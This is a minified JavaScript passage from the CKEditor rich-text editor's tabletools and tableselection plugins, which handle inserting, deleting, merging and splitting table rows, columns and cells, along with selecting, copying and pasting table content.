(--r.$.rowSpan,q==b&&(q=g[b+1],q[n-1]?r.insertAfter(new CKEDITOR.dom.element(q[n-1])):(new CKEDITOR.dom.element(f.$.rows[b+1])).append(r,1)));n+=r.$.colSpan-1}c.push(m)}g=f.$.rows;d[0].moveToPosition(f,CKEDITOR.POSITION_BEFORE_START);k=new CKEDITOR.dom.element(g[h+1]||(0<k?g[k-1]:null)||f.$.parentNode);for(b=c.length;0<=b;b--)e(c[b]);return f.$.parentNode?k:(d[0].select(),null)}b instanceof CKEDITOR.dom.element&&(f=b.getAscendant("table"),1==f.$.rows.length?f.remove():b.remove());return null}function b(a){for(var b=
a.getParent().$.cells,d=0,c=0;c<b.length;c++){var e=b[c],d=d+e.colSpan;if(e==a.$)break}return d-1}function c(a,d){for(var c=d?Infinity:0,e=0;e<a.length;e++){var f=b(a[e]);if(d?f<c:f>c)c=f}return c}function m(b,d){for(var e=q(b)?b:a(b),f=e[0].getAscendant("table"),g=c(e,1),e=c(e),k=d?g:e,h=CKEDITOR.tools.buildTableMap(f),f=[],g=[],e=[],l=h.length,m=0;m<l;m++){var n=d?h[m][k-1]:h[m][k+1];f.push(h[m][k]);g.push(n)}for(m=0;m<l;m++)f[m]&&(1<f[m].colSpan&&g[m]==f[m]?(h=f[m],h.colSpan+=1):(k=new CKEDITOR.dom.element(f[m]),
h=k.clone(),h.removeAttribute("colSpan"),h.appendBogus(),h[d?"insertBefore":"insertAfter"].call(h,k),e.push(h),h=h.$),m+=h.rowSpan-1);return e}function h(b){function d(a){var b=a.getRanges(),c,e;if(1!==b.length)return a;b=b[0];if(b.collapsed||0!==b.endOffset)return a;c=b.endContainer;e=c.getName().toLowerCase();if("td"!==e&&"th"!==e)return a;for((e=c.getPrevious())||(e=c.getParent().getPrevious().getLast());e.type!==CKEDITOR.NODE_TEXT&&"br"!==e.getName().toLowerCase();)if(e=e.getLast(),!e)return a;
b.setEndAt(e,CKEDITOR.POSITION_BEFORE_END);return b.select()}CKEDITOR.env.webkit&&!b.isFake&&(b=d(b));var c=b.getRanges(),e=a(b),f=e[0],g=e[e.length-1],e=f.getAscendant("table"),k=CKEDITOR.tools.buildTableMap(e),h,l,m=[];b.reset();var n=0;for(b=k.length;n<b;n++)for(var r=0,q=k[n].length;r<q;r++)void 0===h&&k[n][r]==f.$&&(h=r),k[n][r]==g.$&&(l=r);for(n=h;n<=l;n++)for(r=0;r<k.length;r++)g=k[r],f=new CKEDITOR.dom.element(e.$.rows[r]),g=new CKEDITOR.dom.element(g[n]),g.$&&(1==g.$.colSpan?g.remove():--g.$.colSpan,
r+=g.$.rowSpan-1,f.$.cells.length||m.push(f));h=k[0].length-1>l?new CKEDITOR.dom.element(k[0][l+1]):h&&-1!==k[0][h-1].cellIndex?new CKEDITOR.dom.element(k[0][h-1]):new CKEDITOR.dom.element(e.$.parentNode);m.length==b&&(c[0].moveToPosition(e,CKEDITOR.POSITION_AFTER_END),c[0].select(),e.remove());return h}function l(a,b){var d=a.getStartElement().getAscendant({td:1,th:1},!0);if(d){var c=d.clone();c.appendBogus();b?c.insertBefore(d):c.insertAfter(d)}}function d(b){if(b instanceof CKEDITOR.dom.selection){var c=
b.getRanges(),e=a(b),f=e[0]&&e[0].getAscendant("table"),g;a:{var h=0;g=e.length-1;for(var l={},m,n;m=e[h++];)CKEDITOR.dom.element.setMarker(l,m,"delete_cell",!0);for(h=0;m=e[h++];)if((n=m.getPrevious())&&!n.getCustomData("delete_cell")||(n=m.getNext())&&!n.getCustomData("delete_cell")){CKEDITOR.dom.element.clearAllMarkers(l);g=n;break a}CKEDITOR.dom.element.clearAllMarkers(l);h=e[0].getParent();(h=h.getPrevious())?g=h.getLast():(h=e[g].getParent(),g=(h=h.getNext())?h.getChild(0):null)}b.reset();for(b=
e.length-1;0<=b;b--)d(e[b]);g?k(g,!0):f&&(c[0].moveToPosition(f,CKEDITOR.POSITION_BEFORE_START),c[0].select(),f.remove())}else b instanceof CKEDITOR.dom.element&&(c=b.getParent(),1==c.getChildCount()?c.remove():b.remove())}function k(a,b){var d=a.getDocument(),c=CKEDITOR.document;CKEDITOR.env.ie&&10==CKEDITOR.env.version&&(c.focus(),d.focus());d=new CKEDITOR.dom.range(d);d["moveToElementEdit"+(b?"End":"Start")](a)||(d.selectNodeContents(a),d.collapse(b?!1:!0));d.select(!0)}function g(a,b,d){a=a[b];
if("undefined"==typeof d)return a;for(b=0;a&&b<a.length;b++){if(d.is&&a[b]==d.$)return b;if(b==d)return new CKEDITOR.dom.element(a[b])}return d.is?-1:null}function n(b,d,c){var e=a(b),f;if((d?1!=e.length:2>e.length)||(f=b.getCommonAncestor())&&f.type==CKEDITOR.NODE_ELEMENT&&f.is("table"))return!1;b=e[0];f=b.getAscendant("table");var k=CKEDITOR.tools.buildTableMap(f),h=k.length,l=k[0].length,m=b.getParent().$.rowIndex,n=g(k,m,b),r;if(d){var q;try{var w=parseInt(b.getAttribute("rowspan"),10)||1;r=parseInt(b.getAttribute("colspan"),
10)||1;q=k["up"==d?m-w:"down"==d?m+w:m]["left"==d?n-r:"right"==d?n+r:n]}catch(H){return!1}if(!q||b.$==q)return!1;e["up"==d||"left"==d?"unshift":"push"](new CKEDITOR.dom.element(q))}d=b.getDocument();var F=m,w=q=0,M=!c&&new CKEDITOR.dom.documentFragment(d),I=0;for(d=0;d<e.length;d++){r=e[d];var K=r.getParent(),C=r.getFirst(),L=r.$.colSpan,Q=r.$.rowSpan,K=K.$.rowIndex,O=g(k,K,r),I=I+L*Q,w=Math.max(w,O-n+L);q=Math.max(q,K-m+Q);c||(L=r,(Q=L.getBogus())&&Q.remove(),L.trim(),r.getChildren().count()&&(K==
F||!C||C.isBlockBoundary&&C.isBlockBoundary({br:1})||(F=M.getLast(CKEDITOR.dom.walker.whitespaces(!0)),!F||F.is&&F.is("br")||M.append("br")),r.moveChildren(M)),d?r.remove():r.setHtml(""));F=K}if(c)return q*w==I;M.moveChildren(b);b.appendBogus();w>=l?b.removeAttribute("rowSpan"):b.$.rowSpan=q;q>=h?b.removeAttribute("colSpan"):b.$.colSpan=w;c=new CKEDITOR.dom.nodeList(f.$.rows);e=c.count();for(d=e-1;0<=d;d--)f=c.getItem(d),f.$.cells.length||(f.remove(),e++);return b}function r(b,d){var c=a(b);if(1<
c.length)return!1;if(d)return!0;var c=c[0],e=c.getParent(),f=e.getAscendant("table"),k=CKEDITOR.tools.buildTableMap(f),h=e.$.rowIndex,l=g(k,h,c),m=c.$.rowSpan,n;if(1<m){n=Math.ceil(m/2);for(var m=Math.floor(m/2),e=h+n,f=new CKEDITOR.dom.element(f.$.rows[e]),k=g(k,e),r,e=c.clone(),h=0;h<k.length;h++)if(r=k[h],r.parentNode==f.$&&h>l){e.insertBefore(new CKEDITOR.dom.element(r));break}else r=null;r||f.append(e)}else for(m=n=1,f=e.clone(),f.insertAfter(e),f.append(e=c.clone()),r=g(k,h),l=0;l<r.length;l++)r[l].rowSpan++;
e.appendBogus();c.$.rowSpan=n;e.$.rowSpan=m;1==n&&c.removeAttribute("rowSpan");1==m&&e.removeAttribute("rowSpan");return e}function w(b,d){var c=a(b);if(1<c.length)return!1;if(d)return!0;var c=c[0],e=c.getParent(),f=e.getAscendant("table"),f=CKEDITOR.tools.buildTableMap(f),k=g(f,e.$.rowIndex,c),h=c.$.colSpan;if(1<h)e=Math.ceil(h/2),h=Math.floor(h/2);else{for(var h=e=1,l=[],m=0;m<f.length;m++){var n=f[m];l.push(n[k]);1<n[k].rowSpan&&(m+=n[k].rowSpan-1)}for(f=0;f<l.length;f++)l[f].colSpan++}f=c.clone();
f.insertAfter(c);f.appendBogus();c.$.colSpan=e;f.$.colSpan=h;1==e&&c.removeAttribute("colSpan");1==h&&f.removeAttribute("colSpan");return f}var q=CKEDITOR.tools.isArray;CKEDITOR.plugins.tabletools={requires:"table,dialog,contextmenu",init:function(b){function c(a){return CKEDITOR.tools.extend(a||{},{contextSensitive:1,refresh:function(a,b){this.setState(b.contains({td:1,th:1},1)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED)}})}function g(a,d){var c=b.addCommand(a,d);b.addFeature(c)}var q=b.lang.table,
B=CKEDITOR.tools.style.parse,v="td{width} td{height} td{border-color} td{background-color} td{white-space} td{vertical-align} td{text-align} td[colspan] td[rowspan] th".split(" ");g("cellProperties",new CKEDITOR.dialogCommand("cellProperties",c({allowedContent:"td th{width,height,border-color,background-color,white-space,vertical-align,text-align}[colspan,rowspan]",requiredContent:v,contentTransformations:[[{element:"td",left:function(a){return a.styles.background&&B.background(a.styles.background).color},
right:function(a){a.styles["background-color"]=B.background(a.styles.background).color}},{element:"td",check:"td{vertical-align}",left:function(a){return a.attributes&&a.attributes.valign},right:function(a){a.styles["vertical-align"]=a.attributes.valign;delete a.attributes.valign}}],[{element:"tr",check:"td{height}",left:function(a){return a.styles&&a.styles.height},right:function(a){CKEDITOR.tools.array.forEach(a.children,function(b){b.name in{td:1,th:1}&&(b.attributes["cke-row-height"]=a.styles.height)});
delete a.styles.height}}],[{element:"td",check:"td{height}",left:function(a){return(a=a.attributes)&&a["cke-row-height"]},right:function(a){a.styles.height=a.attributes["cke-row-height"];delete a.attributes["cke-row-height"]}}]]})));CKEDITOR.dialog.add("cellProperties",this.path+"dialogs/tableCell.js");g("rowDelete",c({requiredContent:"table",exec:function(a){a=a.getSelection();(a=e(a))&&k(a)}}));g("rowInsertBefore",c({requiredContent:"table",exec:function(b){b=b.getSelection();b=a(b);f(b,!0)}}));
g("rowInsertAfter",c({requiredContent:"table",exec:function(b){b=b.getSelection();b=a(b);f(b)}}));g("columnDelete",c({requiredContent:"table",exec:function(a){a=a.getSelection();(a=h(a))&&k(a,!0)}}));g("columnInsertBefore",c({requiredContent:"table",exec:function(b){b=b.getSelection();b=a(b);m(b,!0)}}));g("columnInsertAfter",c({requiredContent:"table",exec:function(b){b=b.getSelection();b=a(b);m(b)}}));g("cellDelete",c({requiredContent:"table",exec:function(a){a=a.getSelection();d(a)}}));g("cellMerge",
c({allowedContent:"td[colspan,rowspan]",requiredContent:"td[colspan,rowspan]",exec:function(a,b){b.cell=n(a.getSelection());k(b.cell,!0)}}));g("cellMergeRight",c({allowedContent:"td[colspan]",requiredContent:"td[colspan]",exec:function(a,b){b.cell=n(a.getSelection(),"right");k(b.cell,!0)}}));g("cellMergeDown",c({allowedContent:"td[rowspan]",requiredContent:"td[rowspan]",exec:function(a,b){b.cell=n(a.getSelection(),"down");k(b.cell,!0)}}));g("cellVerticalSplit",c({allowedContent:"td[rowspan]",requiredContent:"td[rowspan]",
exec:function(a){k(w(a.getSelection()))}}));g("cellHorizontalSplit",c({allowedContent:"td[colspan]",requiredContent:"td[colspan]",exec:function(a){k(r(a.getSelection()))}}));g("cellInsertBefore",c({requiredContent:"table",exec:function(a){a=a.getSelection();l(a,!0)}}));g("cellInsertAfter",c({requiredContent:"table",exec:function(a){a=a.getSelection();l(a)}}));b.addMenuItems&&b.addMenuItems({tablecell:{label:q.cell.menu,group:"tablecell",order:1,getItems:function(){var d=b.getSelection(),c=a(d),d=
{tablecell_insertBefore:CKEDITOR.TRISTATE_OFF,tablecell_insertAfter:CKEDITOR.TRISTATE_OFF,tablecell_delete:CKEDITOR.TRISTATE_OFF,tablecell_merge:n(d,null,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_merge_right:n(d,"right",!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_merge_down:n(d,"down",!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_split_vertical:w(d,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_split_horizontal:r(d,!0)?CKEDITOR.TRISTATE_OFF:
CKEDITOR.TRISTATE_DISABLED};b.filter.check(v)&&(d.tablecell_properties=0<c.length?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED);return d}},tablecell_insertBefore:{label:q.cell.insertBefore,group:"tablecell",command:"cellInsertBefore",order:5},tablecell_insertAfter:{label:q.cell.insertAfter,group:"tablecell",command:"cellInsertAfter",order:10},tablecell_delete:{label:q.cell.deleteCell,group:"tablecell",command:"cellDelete",order:15},tablecell_merge:{label:q.cell.merge,group:"tablecell",command:"cellMerge",
order:16},tablecell_merge_right:{label:q.cell.mergeRight,group:"tablecell",command:"cellMergeRight",order:17},tablecell_merge_down:{label:q.cell.mergeDown,group:"tablecell",command:"cellMergeDown",order:18},tablecell_split_horizontal:{label:q.cell.splitHorizontal,group:"tablecell",command:"cellHorizontalSplit",order:19},tablecell_split_vertical:{label:q.cell.splitVertical,group:"tablecell",command:"cellVerticalSplit",order:20},tablecell_properties:{label:q.cell.title,group:"tablecellproperties",command:"cellProperties",
order:21},tablerow:{label:q.row.menu,group:"tablerow",order:1,getItems:function(){return{tablerow_insertBefore:CKEDITOR.TRISTATE_OFF,tablerow_insertAfter:CKEDITOR.TRISTATE_OFF,tablerow_delete:CKEDITOR.TRISTATE_OFF}}},tablerow_insertBefore:{label:q.row.insertBefore,group:"tablerow",command:"rowInsertBefore",order:5},tablerow_insertAfter:{label:q.row.insertAfter,group:"tablerow",command:"rowInsertAfter",order:10},tablerow_delete:{label:q.row.deleteRow,group:"tablerow",command:"rowDelete",order:15},
tablecolumn:{label:q.column.menu,group:"tablecolumn",order:1,getItems:function(){return{tablecolumn_insertBefore:CKEDITOR.TRISTATE_OFF,tablecolumn_insertAfter:CKEDITOR.TRISTATE_OFF,tablecolumn_delete:CKEDITOR.TRISTATE_OFF}}},tablecolumn_insertBefore:{label:q.column.insertBefore,group:"tablecolumn",command:"columnInsertBefore",order:5},tablecolumn_insertAfter:{label:q.column.insertAfter,group:"tablecolumn",command:"columnInsertAfter",order:10},tablecolumn_delete:{label:q.column.deleteColumn,group:"tablecolumn",
command:"columnDelete",order:15}});b.contextMenu&&b.contextMenu.addListener(function(a,b,d){return(a=d.contains({td:1,th:1},1))&&!a.isReadOnly()?{tablecell:CKEDITOR.TRISTATE_OFF,tablerow:CKEDITOR.TRISTATE_OFF,tablecolumn:CKEDITOR.TRISTATE_OFF}:null})},getCellColIndex:b,insertRow:f,insertColumn:m,getSelectedCells:a};CKEDITOR.plugins.add("tabletools",CKEDITOR.plugins.tabletools)})();CKEDITOR.tools.buildTableMap=function(a,f,e,b,c){a=a.$.rows;e=e||0;b="number"===typeof b?b:a.length-1;c="number"===typeof c?
c:-1;var m=-1,h=[];for(f=f||0;f<=b;f++){m++;!h[m]&&(h[m]=[]);for(var l=-1,d=e;d<=(-1===c?a[f].cells.length-1:c);d++){var k=a[f].cells[d];if(!k)break;for(l++;h[m][l];)l++;for(var g=isNaN(k.colSpan)?1:k.colSpan,k=isNaN(k.rowSpan)?1:k.rowSpan,n=0;n<k&&!(f+n>b);n++){h[m+n]||(h[m+n]=[]);for(var r=0;r<g;r++)h[m+n][l+r]=a[f].cells[d]}l+=g-1;if(-1!==c&&l>=c)break}}return h};(function(){function a(a){return CKEDITOR.plugins.widget&&CKEDITOR.plugins.widget.isDomWidget(a)}function f(a,b){var c=a.getAscendant("table"),
e=b.getAscendant("table"),f=CKEDITOR.tools.buildTableMap(c),g=d(a),k=d(b),h=[],l={},m,n;c.contains(e)&&(b=b.getAscendant({td:1,th:1}),k=d(b));g>k&&(c=g,g=k,k=c,c=a,a=b,b=c);for(c=0;c<f[g].length;c++)if(a.$===f[g][c]){m=c;break}for(c=0;c<f[k].length;c++)if(b.$===f[k][c]){n=c;break}m>n&&(c=m,m=n,n=c);for(c=g;c<=k;c++)for(g=m;g<=n;g++)e=new CKEDITOR.dom.element(f[c][g]),e.$&&!e.getCustomData("selected_cell")&&(h.push(e),CKEDITOR.dom.element.setMarker(l,e,"selected_cell",!0));CKEDITOR.dom.element.clearAllMarkers(l);
return h}function e(a){return(a=a.editable().findOne(".cke_table-faked-selection"))&&a.getAscendant("table")}function b(a,b){var d=a.editable().find(".cke_table-faked-selection"),c=a.editable().findOne("[data-cke-table-faked-selection-table]"),e;a.fire("lockSnapshot");a.editable().removeClass("cke_table-faked-selection-editor");for(e=0;e<d.count();e++)d.getItem(e).removeClass("cke_table-faked-selection");c&&c.data("cke-table-faked-selection-table",!1);a.fire("unlockSnapshot");b&&(p={active:!1},a.getSelection().isInTable()&&
a.getSelection().reset())}function c(a,b){var d=[],c,e;for(e=0;e<b.length;e++)c=a.createRange(),c.setStartBefore(b[e]),c.setEndAfter(b[e]),d.push(c);a.getSelection().selectRanges(d)}function m(a){var b=a.editable().find(".cke_table-faked-selection");1>b.count()||(b=f(b.getItem(0),b.getItem(b.count()-1)),c(a,b))}function h(d,e,g){var k=x(d.getSelection(!0));e=e.is("table")?null:e;var h;(h=p.active&&!p.first)&&!(h=e)&&(h=d.getSelection().getRanges(),h=1<k.length||h[0]&&!h[0].collapsed?!0:!1);if(h)p.first=
e||k[0],p.dirty=e?!1:1!==k.length;else if(p.active&&e&&p.first.getAscendant("table").equals(e.getAscendant("table"))){k=f(p.first,e);if(!p.dirty&&1===k.length&&!a(g.data.getTarget()))return b(d,"mouseup"===g.name);p.dirty=!0;p.last=e;c(d,k)}}function l(a){var d=(a=a.editor||a.sender.editor)&&a.getSelection(),c=d&&d.getRanges()||[],e=c&&c[0].getEnclosedNode(),e=e&&e.type==CKEDITOR.NODE_ELEMENT&&e.is("img"),f;if(d&&(b(a),d.isInTable()&&d.isFake))if(e)a.getSelection().reset();else if(!c[0]._getTableElement({table:1}).hasAttribute("data-cke-tableselection-ignored")){1===
c.length&&c[0]._getTableElement()&&c[0]._getTableElement().is("table")&&(f=c[0]._getTableElement());f=x(d,f);a.fire("lockSnapshot");for(d=0;d<f.length;d++)f[d].addClass("cke_table-faked-selection");0<f.length&&(a.editable().addClass("cke_table-faked-selection-editor"),f[0].getAscendant("table").data("cke-table-faked-selection-table",""));a.fire("unlockSnapshot")}}function d(a){return a.getAscendant("tr",!0).$.rowIndex}function k(d){function c(a,b){return a&&b?a.equals(b)||a.contains(b)||b.contains(a)||
a.getCommonAncestor(b).is(u):!1}function f(a){return!a.getAscendant("table",!0)&&a.getDocument().equals(l.document)}function g(a,b,d,c){if("mousedown"===a.name&&(CKEDITOR.tools.getMouseButton(a)===CKEDITOR.MOUSE_BUTTON_LEFT||!c))return!0;if(b=a.name===(CKEDITOR.env.gecko?"mousedown":"mouseup")&&!f(a.data.getTarget()))a=a.data.getTarget().getAscendant({td:1,th:1},!0),b=!(a&&a.hasClass("cke_table-faked-selection"));return b}if(d.data.getTarget().getName&&("mouseup"===d.name||!a(d.data.getTarget()))){var l=
d.editor||d.listenerData.editor,n=l.getSelection(1),r=e(l),q=d.data.getTarget(),t=q&&q.getAscendant({td:1,th:1},!0),q=q&&q.getAscendant("table",!0),u={table:1,thead:1,tbody:1,tfoot:1,tr:1,td:1,th:1};q&&q.hasAttribute("data-cke-tableselection-ignored")||(g(d,n,r,q)&&b(l,!0),!p.active&&"mousedown"===d.name&&CKEDITOR.tools.getMouseButton(d)===CKEDITOR.MOUSE_BUTTON_LEFT&&q&&(p={active:!0},CKEDITOR.document.on("mouseup",k,null,{editor:l})),(t||q)&&h(l,t||q,d),"mouseup"===d.name&&(CKEDITOR.tools.getMouseButton(d)===
CKEDITOR.MOUSE_BUTTON_LEFT&&(f(d.data.getTarget())||c(r,q))&&m(l),p={active:!1},CKEDITOR.document.removeListener("mouseup",k)))}}function g(a){var b=a.data.getTarget().getAscendant("table",!0);b&&b.hasAttribute("data-cke-tableselection-ignored")||(b=a.data.getTarget().getAscendant({td:1,th:1},!0))&&!b.hasClass("cke_table-faked-selection")&&(a.cancel(),a.data.preventDefault())}function n(a,b){function d(a){a.cancel()}var c=a.getSelection(),e=c.createBookmarks(),f=a.document,g=a.createRange(),k=f.getDocumentElement().$,
h=CKEDITOR.env.ie&&9>CKEDITOR.env.version,l=a.blockless||CKEDITOR.env.ie?"span":"div",m,n,p,r;f.getById("cke_table_copybin")||(m=f.createElement(l),n=f.createElement(l),n.setAttributes({id:"cke_table_copybin","data-cke-temp":"1"}),m.setStyles({position:"absolute",width:"1px",height:"1px",overflow:"hidden"}),m.setStyle("ltr"==a.config.contentsLangDirection?"left":"right","-5000px"),m.setHtml(a.getSelectedHtml(!0)),a.fire("lockSnapshot"),n.append(m),a.editable().append(n),r=a.on("selectionChange",d,
null,null,0),h&&(p=k.scrollTop),g.selectNodeContents(m),g.select(),h&&(k.scrollTop=p),setTimeout(function(){n.remove();c.selectBookmarks(e);r.removeListener();a.fire("unlockSnapshot");b&&(a.extractSelectedHtml(),a.fire("saveSnapshot"))},100))}function r(a){var b=a.editor||a.sender.editor,d=b.getSelection();d.isInTable()&&(d.getRanges()[0]._getTableElement({table:1}).hasAttribute("data-cke-tableselection-ignored")||n(b,"cut"===a.name))}function w(a){this._reset();a&&this.setSelectedCells(a)}function q(a,
b,d){a.on("beforeCommandExec",function(d){-1!==CKEDITOR.tools.array.indexOf(b,d.data.name)&&(d.data.selectedCells=x(a.getSelection()))});a.on("afterCommandExec",function(c){-1!==CKEDITOR.tools.array.indexOf(b,c.data.name)&&d(a,c.data)})}var p={active:!1},u,x,t,B,v;w.prototype={};w.prototype._reset=function(){this.cells={first:null,last:null,all:[]};this.rows={first:null,last:null}};w.prototype.setSelectedCells=function(a){this._reset();a=a.slice(0);this._arraySortByDOMOrder(a);this.cells.all=a;this.cells.first=
a[0];this.cells.last=a[a.length-1];this.rows.first=a[0].getAscendant("tr");this.rows.last=this.cells.last.getAscendant("tr")};w.prototype.getTableMap=function(){var a=t(this.cells.first),b;a:{b=this.cells.last;var c=b.getAscendant("table"),e=d(b),c=CKEDITOR.tools.buildTableMap(c),f;for(f=0;f<c[e].length;f++)if((new CKEDITOR.dom.element(c[e][f])).equals(b)){b=f;break a}b=void 0}return CKEDITOR.tools.buildTableMap(this._getTable(),d(this.rows.first),a,d(this.rows.last),b)};w.prototype._getTable=function(){return this.rows.first.getAscendant("table")};
w.prototype.insertRow=function(a,b,d){if("undefined"===typeof a)a=1;else if(0>=a)return;for(var c=this.cells.first.$.cellIndex,e=this.cells.last.$.cellIndex,f=d?[]:this.cells.all,g,k=0;k<a;k++)g=B(d?this.cells.all:f,b),g=CKEDITOR.tools.array.filter(g.find("td, th").toArray(),function(a){return d?!0:a.$.cellIndex>=c&&a.$.cellIndex<=e}),f=b?g.concat(f):f.concat(g);this.setSelectedCells(f)};w.prototype.insertColumn=function(a){function b(a){a=d(a);return a>=f&&a<=g}if("undefined"===typeof a)a=1;else if(0>=
a)return;for(var c=this.cells,e=c.all,f=d(c.first),g=d(c.last),c=0;c<a;c++)e=e.concat(CKEDITOR.tools.array.filter(v(e),b));this.setSelectedCells(e)};w.prototype.emptyCells=function(a){a=a||this.cells.all;for(var b=0;b<a.length;b++)a[b].setHtml("")};w.prototype._arraySortByDOMOrder=function(a){a.sort(function(a,b){return a.getPosition(b)&CKEDITOR.POSITION_PRECEDING?-1:1})};var y={onPaste:function(a){function b(a){var d=e.createRange();d.selectNodeContents(a);d.select()}function d(a){return Math.max.apply(null,
CKEDITOR.tools.array.map(a,function(a){return a.length},0))}var e=a.editor,g=e.getSelection(),k=x(g),h=g.isInTable(!0)&&this.isBoundarySelection(g),l=this.findTableInPastedContent(e,a.data.dataValue),m,n;(function(a,b,d,c){a=a.getRanges();var e=a.length&&a[0]._getTableElement({table:1});if(!b.length||e&&e.hasAttribute("data-cke-tableselection-ignored")||c&&!d)return!1;if(b=!c)(b=a[0])?(b=b.clone(),b.enlarge(CKEDITOR.ENLARGE_ELEMENT),b=(b=b.getEnclosedNode())&&b.is&&b.is(CKEDITOR.dtd.$tableContent)):
b=void 0,b=!b;return b?!1:!0})(g,k,l,h)&&(k=k[0].getAscendant("table"),m=new w(x(g,k)),e.once("afterPaste",function(){var a;if(n){a=new CKEDITOR.dom.element(n[0][0]);var b=n[n.length-1];a=f(a,new CKEDITOR.dom.element(b[b.length-1]))}else a=m.cells.all;c(e,a)}),l?(a.stop(),h?(m.insertRow(1,1===h,!0),g.selectElement(m.rows.first)):(m.emptyCells(),c(e,m.cells.all)),a=m.getTableMap(),n=CKEDITOR.tools.buildTableMap(l),m.insertRow(n.length-a.length),m.insertColumn(d(n)-d(a)),a=m.getTableMap(),this.pasteTable(m,
a,n),e.fire("saveSnapshot"),setTimeout(function(){e.fire("afterPaste")},0)):(b(m.cells.first),e.once("afterPaste",function(){e.fire("lockSnapshot");m.emptyCells(m.cells.all.slice(1));c(e,m.cells.all);e.fire("unlockSnapshot")})))},isBoundarySelection:function(a){a=a.getRanges()[0];var b=a.endContainer.getAscendant("tr",!0);if(b&&a.collapsed){if(a.checkBoundaryOfElement(b,CKEDITOR.START))return 1;if(a.checkBoundaryOfElement(b,CKEDITOR.END))return 2}return 0},findTableInPastedContent:function(a,b){var d=
a.dataProcessor,c=new CKEDITOR.dom.element("body");d||(d=new CKEDITOR.htmlDataProcessor(a));c.setHtml(d.toHtml(b),{fixForBody:!1});return 1<c.getChildCount()?null:c.findOne("table")},pasteTable:function(a,b,d){var c,e=t(a.cells.first),f=a._getTable(),g={},k,h,l,m;for(l=0;l<d.length;l++)for(k=new CKEDITOR.dom.element(f.$.rows[a.rows.first.$.rowIndex+l]),m=0;m<d[l].length;m++)if(h=new CKEDITOR.dom.element(d[l][m]),c=b[l]&&b[l][m]?new CKEDITOR.dom.element(b[l][m]):null,h&&!h.getCustomData("processed")){if(c&&
c.getParent())h.replace(c);else if(0===m||d[l][m-1])(c=0!==m?new CKEDITOR.dom.element(d[l][m-1]):null)&&k.equals(c.getParent())?h.insertAfter(c):0<e?k.$.cells[e]?h.insertAfter(new CKEDITOR.dom.element(k.$.cells[e])):k.append(h):k.append(h,!0);CKEDITOR.dom.element.setMarker(g,h,"processed",!0)}else h.getCustomData("processed")&&c&&c.remove();CKEDITOR.dom.element.clearAllMarkers(g)}};CKEDITOR.plugins.tableselection={getCellsBetween:f,keyboardIntegration:function(a){function b(a){var d=a.getEnclosedNode();
d&&"function"===typeof d.is&&d.is({td:1,th:1})?d.setText(""):a.deleteContents();CKEDITOR.tools.array.forEach(a._find("td"),function(a){a.appendBogus()})}var d=a.editable();d.attachListener(d,"keydown",function(a){function d(b,c){if(!c.length)return null;var f=a.createRange(),g=CKEDITOR.dom.range.mergeRanges(c);CKEDITOR.tools.array.forEach(g,function(a){a.enlarge(CKEDITOR.ENLARGE_ELEMENT)});var k=g[0].getBoundaryNodes(),h=k.startNode,k=k.endNode;if(h&&h.is&&h.is(e)){for(var l=h.getAscendant("table",
!0),m=h.getPreviousSourceNode(!1,CKEDITOR.NODE_ELEMENT,l),n=!1,p=function(a){return!h.contains(a)&&a.is&&a.is("td","th")};m&&!p(m);)m=m.getPreviousSourceNode(!1,CKEDITOR.NODE_ELEMENT,l);!m&&k&&k.is&&!k.is("table")&&k.getNext()&&(m=k.getNext().findOne("td, th"),n=!0);if(m)f["moveToElementEdit"+(n?"Start":"End")](m);else f.setStartBefore(h.getAscendant("table",!0)),f.collapse(!0);g[0].deleteContents();return[f]}if(h)return f.moveToElementEditablePosition(h),[f]}var c={37:1,38:1,39:1,40:1,8:1,46:1,13:1},
e=CKEDITOR.tools.extend({table:1},CKEDITOR.dtd.$tableContent);delete e.td;delete e.th;return function(e){var f=e.data.getKey(),g=e.data.getKeystroke(),k,h=37===f||38==f,l,m,n;if(c[f]&&!a.readOnly&&(k=a.getSelection())&&k.isInTable()&&k.isFake){l=k.getRanges();m=l[0]._getTableElement();n=l[l.length-1]._getTableElement();if(13!==f||a.plugins.enterkey)e.data.preventDefault(),e.cancel();if(36<f&&41>f)l[0].moveToElementEditablePosition(h?m:n,!h),k.selectRanges([l[0]]);else if(13!==f||13===g||g===CKEDITOR.SHIFT+
13){for(e=0;e<l.length;e++)b(l[e]);(e=d(m,l))?l=e:l[0].moveToElementEditablePosition(m);k.selectRanges(l);13===f&&a.plugins.enterkey?(a.fire("lockSnapshot"),13===g?a.execCommand("enter"):a.execCommand("shiftEnter"),a.fire("unlockSnapshot"),a.fire("saveSnapshot")):13!==f&&a.fire("saveSnapshot")}}}}(a),null,null,-1);d.attachListener(d,"keypress",function(d){var c=a.getSelection(),e=d.data.$.charCode||13===d.data.getKey(),f;if(!a.readOnly&&c&&c.isInTable()&&c.isFake&&e&&!(d.data.getKeystroke()&CKEDITOR.CTRL)){d=
c.getRanges();e=d[0].getEnclosedNode().getAscendant({td:1,th:1},!0);for(f=0;f<d.length;f++)b(d[f]);e&&(d[0].moveToElementEditablePosition(e),c.selectRanges([d[0]]))}},null,null,-1)}};CKEDITOR.plugins.add("tableselection",{requires:"clipboard,tabletools",isSupportedEnvironment:function(){return!(CKEDITOR.env.ie&&11>CKEDITOR.env.version)},onLoad:function(){u=CKEDITOR.plugins.tabletools;x=u.getSelectedCells;t=u.getCellColIndex;B=u.insertRow;v=u.insertColumn;CKEDITOR.document.appendStyleSheet(this.path+
"styles/tableselection.css")},init:function(a){this.isSupportedEnvironment()&&(a.addContentsCss&&a.addContentsCss(this.path+"styles/tableselection.css"),a.on("contentDom",function(){var b=a.editable(),d=b.isInline()?b:a.document,c={editor:a};b.attachListener(d,"mousedown",k,null,c);b.attachListener(d,"mousemove",k,null,c);b.attachListener(d,"mouseup",k,null,c);b.attachListener(b,"dragstart",g);b.attachListener(a,"selectionCheck",l);CKEDITOR.plugins.tableselection.keyboardIntegration(a);CKEDITOR.plugins.clipboard&&
